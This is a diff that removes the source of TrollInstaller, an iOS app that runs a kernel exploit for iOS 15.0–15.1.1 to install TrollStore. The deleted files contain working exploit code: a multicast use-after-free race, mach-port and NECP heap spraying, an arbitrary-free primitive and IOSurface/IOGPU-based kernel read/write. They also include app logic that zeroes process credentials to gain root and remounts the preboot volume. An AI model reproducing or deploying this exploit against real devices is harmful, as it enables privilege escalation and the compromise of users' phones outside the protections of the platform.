#import <UIKit/UIKit.h>
@interface SceneDelegate : UIResponder <UIWindowSceneDelegate>
@property (strong, nonatomic) UIWindow * window;
@end

View File

@ -1,57 +0,0 @@
//
// SceneDelegate.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "SceneDelegate.h"
@interface SceneDelegate ()
@end
@implementation SceneDelegate
- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions {
// Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
// If using a storyboard, the `window` property will automatically be initialized and attached to the scene.
// This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).
}
- (void)sceneDidDisconnect:(UIScene *)scene {
// Called as the scene is being released by the system.
// This occurs shortly after the scene enters the background, or when its session is discarded.
// Release any resources associated with this scene that can be re-created the next time the scene connects.
// The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).
}
- (void)sceneDidBecomeActive:(UIScene *)scene {
// Called when the scene has moved from an inactive state to an active state.
// Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.
}
- (void)sceneWillResignActive:(UIScene *)scene {
// Called when the scene will move from an active state to an inactive state.
// This may occur due to temporary interruptions (ex. an incoming phone call).
}
- (void)sceneWillEnterForeground:(UIScene *)scene {
// Called as the scene transitions from the background to the foreground.
// Use this method to undo the changes made on entering the background.
}
- (void)sceneDidEnterBackground:(UIScene *)scene {
// Called as the scene transitions from the foreground to the background.
// Use this method to save data, release shared resources, and store enough scene-specific state information
// to restore the scene back to its current state.
}
@end

View File

@ -1,14 +0,0 @@
//
// ViewController.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface ViewController : UIViewController
@end

View File

@ -1,288 +0,0 @@
//
// ViewController.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "ViewController.h"
#import "kutil.h"
#import "exploit/exploit.h"
#import "exploit/kernel_rw.h"
#import "KernelManager.h"
#import "unarchive.h"
#import <spawn.h>
#import <sys/stat.h>
extern uint64_t g_self_proc;
void badLog(const char* a, ...)
{
va_list va;
va_start(va, a);
NSString* af = [NSString stringWithUTF8String:a];
NSString* msg = [[NSString alloc] initWithFormat:af arguments:va];
va_end(va);
NSLog(@"%@",msg);
return;
}
NSString* getNSStringFromFile(int fd)
{
NSMutableString* ms = [NSMutableString new];
ssize_t num_read;
char c;
while((num_read = read(fd, &c, sizeof(c))))
{
[ms appendString:[NSString stringWithFormat:@"%c", c]];
}
return ms.copy;
}
int runBinary(NSString* path, NSArray* args, NSString** output)
{
NSMutableArray* argsM = args.mutableCopy;
[argsM insertObject:path.lastPathComponent atIndex:0];
NSUInteger argCount = [argsM count];
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
for (NSUInteger i = 0; i < argCount; i++)
{
argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);
}
argsC[argCount] = NULL;
posix_spawn_file_actions_t action;
posix_spawn_file_actions_init(&action);
int out[2];
pipe(out);
posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO);
posix_spawn_file_actions_addclose(&action, out[0]);
pid_t task_pid;
int status = 0;
int spawnError = posix_spawn(&task_pid, [path UTF8String], &action, NULL, (char* const*)argsC, NULL);
for (NSUInteger i = 0; i < argCount; i++)
{
free(argsC[i]);
}
free(argsC);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
do
{
if (waitpid(task_pid, &status, 0) != -1) {
//printf("Child status %dn", WEXITSTATUS(status));
} else
{
perror("waitpid");
return -222;
}
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
close(out[1]);
if(output)
{
*output = getNSStringFromFile(out[0]);
}
return WEXITSTATUS(status);
}
// Get root, credit: @xina520
struct k_posix_cred backup_cred;
int backup_groupSize;
gid_t backup_groupList[200];
int getRoot(void)
{
NSLog(@"attempting to get root...\n");
usleep(1000);
backup_groupSize = getgroups(200, &backup_groupList[0]);
backup_cred = proc_get_posix_cred(g_self_proc);
struct k_posix_cred zero_cred = {0};
NSLog(@"setting posix cred to zero cred...\n");
usleep(1000);
proc_set_posix_cred(g_self_proc, zero_cred);
int err = setgroups(0,0);
if(err)
{
NSLog(@"setgroups error %d\n", err);
usleep(1000);
}
int uid = getuid();
NSLog(@"getuid => %d\n", uid);
usleep(1000);
return uid;
}
int dropRoot(void)
{
if(getuid() != 0) return getuid();
printf("attempting to drop root...\n");
usleep(1000);
int err = setgroups(backup_groupSize,backup_groupList);
if(err)
{
printf("setgroups error %d\n", err);
usleep(1000);
}
proc_set_posix_cred(g_self_proc, backup_cred);
int uid = getuid();
printf("dropped root??? uid: %d\n", uid);
return uid;
}
@interface ViewController ()
@property (weak, nonatomic) IBOutlet UILabel *statusLabel;
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
}
- (void)updateStatus:(NSString*)status
{
dispatch_async(dispatch_get_main_queue(), ^{
self.statusLabel.text = status;
});
}
int writeRemountPrivatePreboot(void)
{
return runBinary(@"/sbin/mount", @[@"-u", @"-w", @"/private/preboot"], nil);
}
- (void)doInstallation
{
NSLog(@"TrollStore out here, exploitation starting!");
usleep(1000);
[self updateStatus:@"Exploiting..."];
// Run kernel exploit
uint64_t kernel_base;
if(exploit_get_krw_and_kernel_base(&kernel_base) != 0)
{
[self updateStatus:@"Exploit failed :("];
return;
}
// Initialize KernelManager
KernelManager* km = [KernelManager sharedInstance];
[km loadOffsets];
[km loadSlidOffsetsWithKernelBase:kernel_base];
km.kread_32_d = kread32;
km.kread_64_d = kread64;
km.kwrite_32 = kwrite32;
km.kwrite_64 = kwrite64;
km.kcleanup = exploitation_cleanup;
NSLog(@"Exploitation finished, post exploit stuff next!");
usleep(1000);
[self updateStatus:@"Getting root..."];
// Get root
getRoot();
[self updateStatus:@"Installing..."];
writeRemountPrivatePreboot();
NSString* tmpDir = @"/private/preboot/tmp";
[[NSFileManager defaultManager] createDirectoryAtPath:tmpDir withIntermediateDirectories:NO attributes:nil error:nil];
NSString* tsTarPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"TrollStore.tar"];
extract(tsTarPath, tmpDir);
NSString* helperPath = [tmpDir stringByAppendingPathComponent:@"TrollStore.app/trollstorehelper"];
chmod(helperPath.UTF8String, 0755);
chown(helperPath.UTF8String, 0, 0);
NSString* helperOutput;
int ret = runBinary(helperPath, @[@"install-trollstore", tsTarPath], &helperOutput);
[self updateStatus:@"Cleaning up..."];
[[NSFileManager defaultManager] removeItemAtPath:tmpDir error:nil];
// Clean everything up so the kernel doesn't panic when the app exits
dropRoot();
[km finishAndCleanupIfNeeded];
[self updateStatus:@"Done!"];
NSLog(@"%@", helperOutput);
// Print installed message
if(ret == 0)
{
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Installed TrollStore" message:@"TrollStore was installed and can now be accessed from your home screen, you can uninstall the installer application now. Some devices suffer from a bug where newly installed applications don't immediately show up, in that case reboot and TrollStore should show up." preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
exit(0);
}];
[installedAlertController addAction:closeAction];
[self presentViewController:installedAlertController animated:YES completion:nil];
});
}
else
{
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Failed to install TrollStore. trollstore helper exited with code %d. Output:\n:%@", ret, helperOutput ?: @"<none>"] preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
exit(0);
}];
UIAlertAction* copyAction = [UIAlertAction actionWithTitle:@"Copy Output" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
pasteboard.string = helperOutput;
exit(0);
}];
[installedAlertController addAction:closeAction];
[installedAlertController addAction:copyAction];
[self presentViewController:installedAlertController animated:YES completion:nil];
});
}
}
- (IBAction)installButtonPressed:(id)sender {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[self doInstallation];
});
}
@end

View File

@ -1,82 +0,0 @@
#include "IOGPU.h"
#include <sys/utsname.h>
io_connect_t IOGPU_init(void)
{
mach_port_t mp = MACH_PORT_NULL;
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
void IOGPU_exit(io_connect_t uc)
{
IOServiceClose(uc);
}
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member)
{
uint64_t outStructCnt = 0x10;
uint32_t inStructCnt = 0x408;
uint8_t inStruct[0x408] = {0};
uint8_t outStruct[0x10] = {0};
// avoid null termination
memset(inStruct, 0x01, 0x30);
*(uint64_t *)(inStruct + 0x30) = member;
kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt);
if (kr)
return 0;
return 1;
}
int IOGPU_get_command_queue_extra_refills_needed(void)
{
struct utsname u;
uname(&u);
if (
strstr(u.machine, "iPod9,") // iPod Touch 7
|| strstr(u.machine, "iPhone9,") // iPhone 7
|| strstr(u.machine, "iPhone12,") // iPhone 11 & SE 2
|| strstr(u.machine, "iPhone13,") // iPhone 12
|| strstr(u.machine, "iPhone14,") // iPhone 13 & SE 3
|| strstr(u.machine, "iPad7,") // iPad7,* has too many different models to list here, see theiphonewiki's "Models" page for info
|| strstr(u.machine, "iPad12,") // iPad 9
|| strstr(u.machine, "iPad13,") // iPad13,1-13,2 is the iPad Air 4 and 13,4-13,11 is the iPad Pro M1.
|| strstr(u.machine, "iPad14,") // iPad Mini 6
)
{
return 1;
}
else if (
strstr(u.machine, "iPhone10,") // iPhone 8, X
|| strstr(u.machine, "iPhone11,") // iPhone XS, XR
|| strstr(u.machine, "iPad8,") // iPad Pro A12Z
|| strstr(u.machine, "iPad11,") // iPad 8 A12
)
{
return 3;
}
printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
return -1;
}

View File

@ -1,16 +0,0 @@
#ifndef __IOGPU_H__
#define __IOGPU_H__
#include "iokit.h"
#include <mach/mach.h>
#include <stdint.h>
io_connect_t IOGPU_init(void);
void IOGPU_exit(io_connect_t uc);
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member);
int IOGPU_get_command_queue_extra_refills_needed(void);
#endif

View File

@ -1,124 +0,0 @@
#include "IOSurfaceRoot.h"
io_connect_t IOSurfaceRoot_init(void)
{
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
mach_port_t mp = MACH_PORT_NULL;
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
void IOSurfaceRoot_exit(io_connect_t uc)
{
IOServiceClose(uc);
}
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc)
{
// Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4
struct _IOSurfaceFastCreateArgs {
uint64_t address;
uint32_t width;
uint32_t height;
uint32_t pixel_format;
uint32_t bytes_per_element;
uint32_t bytes_per_row;
uint32_t alloc_size;
};
struct IOSurfaceLockResult {
uint8_t _pad1[0x18];
uint32_t surface_id;
uint8_t _pad2[0xF60-0x18-0x4];
};
struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 };
struct IOSurfaceLockResult lock_result = {0};
uint64_t lock_result_size = sizeof(lock_result);
IOConnectCallMethod(
uc,
6,
NULL, 0,
&create_args, sizeof(create_args),
NULL, NULL,
&lock_result, (size_t *)&lock_result_size);
return lock_result.surface_id;
}
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id)
{
uint64_t sz = 0xF60;
uint8_t o[0xF60];
uint64_t scalarInput = surf_id;
kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz);
return ret;
}
kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id)
{
uint64_t scalarInput = surf_id;
kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0);
return ret;
}
void IOSurfaceRoot_release_all(io_connect_t uc)
{
for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
{
IOSurfaceRoot_release_surface(uc, surf_id);
}
}
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id)
{
uint64_t scalarInput = surf_id;
uint64_t output = 0;
uint64_t outputCnt = 1;
IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0);
return (uint32_t)output;
}
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile)
{
uint64_t scalarInput[3];
scalarInput[0] = surf_id;
scalarInput[1] = 0;
scalarInput[2] = tile;
IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0);
}
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)
{
for (int i = 0; i < 4; ++i)
{
io_connect_t uc = IOSurfaceRoot_init();
for (int i = 0; i < 0xf00; ++i)
{
uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);
if (0x3400 <= (last_id * sizeof(uint64_t)))
{
return last_id;
}
}
}
return -1;
}

View File

@ -1,25 +0,0 @@
#ifndef __IOSURFACEROOT_H__
#define __IOSURFACEROOT_H__
#include "iokit.h"
#include <IOSurface/IOSurfaceRef.h>
#include <stdint.h>
io_connect_t IOSurfaceRoot_init(void);
void IOSurfaceRoot_exit(io_connect_t uc);
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc);
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id);
int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id);
void IOSurfaceRoot_release_all(io_connect_t uc);
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id);
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile);
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void);
#endif

View File

@ -1,335 +0,0 @@
#include "exploit.h"
#include "iokit.h"
#include "IOGPU.h"
#include "IOSurfaceRoot.h"
#include "kernel_rw.h"
#include "kernel_base.h"
#include "mcast.h"
#include "necp.h"
#include "port_utils.h"
#include "spray.h"
#include <mach/mach.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device
#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device
#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted)
#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX)
#define BYTECOPY_OFFSET_IPV6 0x28
#define PORTS_COUNT 0x2A00
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)
#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664
mach_port_t notif_port = MACH_PORT_NULL;
mach_port_t *kheap_default_ports = NULL;
uint8_t *IOSurfaceClient_array_buf = NULL;
mach_port_t *kheap_data_ports = NULL;
int kheap_data_idx = -1;
int extra_frees_for_device = -1;
io_connect_t iogpu_connect = MACH_PORT_NULL;
mach_port_t get_arb_free_holder(void)
{
int success = 0;
// reliability voodoo
for (int i = 0; i < 3; ++i)
{
mcast_increase_race_reliability();
printf("Increase reliability...\n");
}
// more reliability voodoo
pthread_attr_t pattr;
pthread_attr_init(&pattr);
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
// initialize refill buffer, putting the target for the bytecopy primitive there
uint8_t *necp_buf = malloc(4096);
*(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET;
printf("Start (will fail if device has not been rebooted since last run)\n");
kheap_data_idx = -1;
for (int iterations = 0; iterations < 255; ++iterations)
{
pthread_t pt1;
pthread_t pt2;
int s = socket(AF_INET6, SOCK_DGRAM, 0);
int necp_fd = necp_open(0);
mcast_race_sock = s;
// grow the buffer on which the UaF will be triggered to default.kalloc.1664 and
// put it at its max size before next realloc will occur
int ip = 0;
for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip)
{
mcast_join_group(ip);
}
// trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful
pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip);
pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1));
// refill the UaF buffer in default.kalloc.1664 during the race
for (int i = 0; i < 10; ++i)
{
spray_default_kalloc_necp(necp_fd, necp_buf, 0x318);
}
// synchronize
pthread_join(pt1, NULL);
pthread_join(pt2, NULL);
// find out if the refill succeeded, in which case a corrupted trailer size will be returned
// for the holder of the corrupted kmsg, which has also had its message bits corrupted
// (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set)
{
for (int i = 0; i < PORTS_COUNT; ++i)
{
int sz = port_peek_trailer_size(kheap_data_ports[i]);
if (sz != 8)
{
printf("kheap_data_idx: %08X\n", i);
kheap_data_idx = i;
break;
}
}
if (kheap_data_idx != -1)
{
success = 1;
break;
}
}
close(s);
printf("iteration %d\n", iterations);
}
if (!success)
{
printf("Failed! Run exploit only once per boot\n");
printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n");
exit(1);
}
free(necp_buf);
return kheap_data_ports[kheap_data_idx];
}
int exploitation_init(void)
{
// different by device, retrieve it first and fail if unsuccessful
extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
if (extra_frees_for_device == -1)
{
printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
return 1;
}
kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *ool_ports = malloc(0x4000);
uint8_t *kheap_data_spray_buf = malloc(0x4000);
memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(ool_ports, 0, 0x4000);
memset(kheap_data_spray_buf, 0, 0x4000);
// initialize the inline data
// fake descriptor for free primitive
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; // free primitive target
*(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; // disposition, size, etc
// align a pointer here so that when the kmsg trailer size is corrupted, this pointer
// will after that be followed and a second bytecopy performed where it points (kmsg message bits)
*(uint64_t *)(kheap_data_spray_buf + 0x3F64) = BYTECOPY_SECOND_TARGET;
// spray large sprays to map KHEAP_DATA_MAPPABLE_LOC and KHEAP_DEFAULT_MAPPABLE_LOC
for (int i = 0; i < PORTS_COUNT; ++i)
{
// KHEAP_DEFAULT
*ool_ports = port_new();
contained_ports[i] = *ool_ports;
mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);
kheap_default_ports[i] = pp[0];
free(pp);
// KHEAP_DATA_BUFFERS
kheap_data_ports[i] = spray_data_kalloc_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);
}
notif_port = port_new();
for (int i = 0; i < PORTS_COUNT; ++i)
{
mach_port_t prev;
mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev);
mach_port_deallocate(mach_task_self(), contained_ports[i]);
}
// pre-init kernel rw
IOSurfaceClient_array_buf = malloc(0x4000);
kernel_rw_preinit(KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10, IOSurfaceClient_array_buf, 0x4000);
free(contained_ports);
free(ool_ports);
free(kheap_data_spray_buf);
return 0;
}
int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)
{
uint8_t msg_buf[0x100];
int fildes[2];
pipe(fildes);
int read_pipe = fildes[0];
int write_pipe = fildes[1];
// alloc this one before array of IOSurfaceClients becomes 0x4000
io_connect_t iosurface_connect_krw = IOSurfaceRoot_init();
// cause max size of arrays of IOSurfaceClients to become 0x4000
uint32_t last_id = IOSurfaceRoot_cause_array_size_to_be_0x4000();
// trigger arbitrary free in kheap default
port_destroy(arb_free_holder);
// do refill in kheap default
IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);
// NULL out array
IOSurfaceRoot_release_all(iosurface_connect_krw);
// find allocation at KHEAP_DEFAULT_MAPPABLE_LOC
int kheap_default_idx = -1;
for (uint32_t i = 0;
(i < PORTS_COUNT) && port_has_msg(notif_port);
i++)
{
port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));
port_destroy(kheap_default_ports[i]);
kheap_default_idx = i;
}
// Note: don't add time sensitive code here, allocation at KHEAP_DEFAULT_MAPPABLE_LOC
// has been free'd and will be refilled below
// printf("Allocation at KHEAP_DEFAULT_MAPPABLE_LOC has been free'd\n");
if (kheap_default_idx >= PORTS_COUNT)
{
printf("kheap_default_idx >= PORTS_COUNT\n");
exit(1);
}
// extra frees
for (int i = 0; i < extra_frees_for_device; ++i)
{
port_destroy(kheap_default_ports[(kheap_default_idx+1)+i]);
}
// do refill
iogpu_connect = IOGPU_init();
// add entry
IOGPU_create_command_queue(iogpu_connect, KHEAP_DATA_MAPPABLE_LOC - 0x4000 + 0x10);
printf("kheap_default_idx: %08X\n", kheap_default_idx);
// refill in kheap data
port_destroy(kheap_data_ports[kheap_data_idx-1]);
write(write_pipe, IOSurfaceClient_array_buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
kernel_rw_init(iosurface_connect_krw, 1, read_pipe, write_pipe);
kwrite32(KHEAP_DEFAULT_MAPPABLE_LOC, 0xFEED);
uint32_t result = kread32(KHEAP_DEFAULT_MAPPABLE_LOC);
printf("Test kwrite32 and kread32: %08X (should be 0000FEED)\n", result);
if (result != 0xFEED)
{
printf("Failed! Reboot to try again (remember to only run once per boot)\n");
exit(1);
}
printf("Get kernel base...\n");
*kernel_base = kernel_base_from_holder(kheap_data_ports[kheap_data_idx-2], KHEAP_DATA_MAPPABLE_LOC - 0x8000);
printf("Got kernel base: %p\n", (void *)*kernel_base);
return 0;
}
void exploitation_cleanup(void)
{
uint64_t command_queue_loc = kread64(KHEAP_DEFAULT_MAPPABLE_LOC + 8);
uint64_t parent_loc = kread64(command_queue_loc + 0x488);
uint64_t namespace_loc = kread64(parent_loc + 0x88);
// bump refs
kwrite32(command_queue_loc + 0x8, 10);
kwrite32(namespace_loc + 0x8, 10);
IOServiceClose(iogpu_connect);
}
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base)
{
uint64_t _kernel_base = 0;
// generic exploitation init
if (exploitation_init() != 0)
{
return 1;
}
// trigger bug, get arbitrary free
mach_port_t arb_free_holder = get_arb_free_holder();
// generic exploitation using arbitrary free
exploitation_get_krw_with_arb_free(arb_free_holder, &_kernel_base);
// generic exploitation cleanup (kernel r/w still active)
//exploitation_cleanup();
*kernel_base = _kernel_base;
return 0;
}
int exploit_go(void)
{
uint64_t kernel_base = 0;
if (exploit_get_krw_and_kernel_base(&kernel_base) != 0)
{
printf("Exploit failed!\n");
return 1;
}
// test kernel r/w, read kernel base
uint32_t mh_magic = kread32(kernel_base);
if (mh_magic != 0xFEEDFACF)
{
printf("mh_magic != 0xFEEDFACF: %08X\n", mh_magic);
return 1;
}
printf("kread32(_kernel_base) success: %08X\n", mh_magic);
printf("Done\n");
return 0;
}

View File

@ -1,9 +0,0 @@
#ifndef __EXPLOIT_H__
#define __EXPLOIT_H__
#include <stdint.h>
int exploit_get_krw_and_kernel_base(uint64_t *kernel_base);
void exploitation_cleanup(void);
#endif

View File

@ -1,120 +0,0 @@
// Credits: Siguza
// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h
#ifndef IOKIT_H
#define IOKIT_H
#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>
typedef char io_name_t[128];
typedef char io_string_t[512];
typedef char io_struct_inband_t[4096];
typedef mach_port_t io_object_t;
typedef io_object_t io_registry_entry_t;
typedef io_object_t io_service_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_iterator_t;
enum
{
kIOCFSerializeToBinary = 0x00000001U,
};
enum
{
kIOClassNameOverrideNone = 0x00000001U,
};
enum
{
kIOMapAnywhere = 0x00000001U,
};
enum
{
kIORegistryIterateRecursively = 0x00000001U,
kIORegistryIterateParents = 0x00000002U,
};
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
extern const mach_port_t kIOMasterPortDefault;
CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);
kern_return_t IOObjectRetain(io_object_t object);
kern_return_t IOObjectRelease(io_object_t object);
boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
kern_return_t IOObjectGetClass(io_object_t object, io_name_t name);
kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name);
CFStringRef IOObjectCopyClass(io_object_t object);
CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options);
CFStringRef IOObjectCopySuperclassForClass(CFStringRef name);
CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);
io_registry_entry_t IORegistryGetRootEntry(mach_port_t master);
io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path);
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);
kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);
kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);
kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);
CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);
kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
io_object_t IOIteratorNext(io_iterator_t it);
boolean_t IOIteratorIsValid(io_iterator_t it);
void IOIteratorReset(io_iterator_t it);
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
